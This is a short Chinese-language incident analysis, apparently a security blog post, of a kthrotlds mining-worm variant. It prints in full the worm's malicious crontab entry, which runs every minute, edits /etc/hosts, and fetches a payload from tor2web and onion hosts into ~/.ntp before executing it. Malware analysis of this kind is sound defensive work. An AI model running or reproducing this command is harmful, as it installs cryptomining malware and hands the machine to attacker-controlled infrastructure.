[原创]记一起 kthroltlds 挖矿蠕虫变种分析
最近遇到的一次后门事件,通过分析发现是一起挖矿蠕虫。通过查询CentOS计划任务crontab,发现以下计划任务。

已手工重新格式化如下:
*/1 * * * * (tbin=$(command -v passwd); bpath=$(dirname "${tbin}");
curl="curl";
if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];
then curl="echo";
if [ "${bpath}" != "" ];
then for f in ${bpath}*;
do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break;
done;
fi;
fi;
wget="wget";
if [ $(wget --version 2>/dev/null|grep "wgetrc " |wc -l) -eq 0 ];
then wget="echo";
if [ "${bpath}" != "" ];
then for f in ${bpath}*;
do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break;
done;
fi;
fi;
if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ];
then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;
fi;
${curl} -fsSLk --max-time 40 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o ~/.ntp||
${curl} -fsSLk --max-time 40 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o ~/.ntp||
${curl} -fsSLk --max-time 40 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o ~/.ntp||
wget --quiet --no-check-certificate --timeout=40 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o ~/.ntp||
wget --quiet --no-check-certificate --timeout=40 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O ~/.ntp||
wget --quiet --no-check-certificate --timeout=40 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O ~/.ntp||
wget --quiet --no-check-certificate --timeout=40 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O ~/.ntp) && chmod +x ~/.ntp && sh ~/.ntp
注意:上传附件及图片大小不得大于30M。
⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。
复制成功
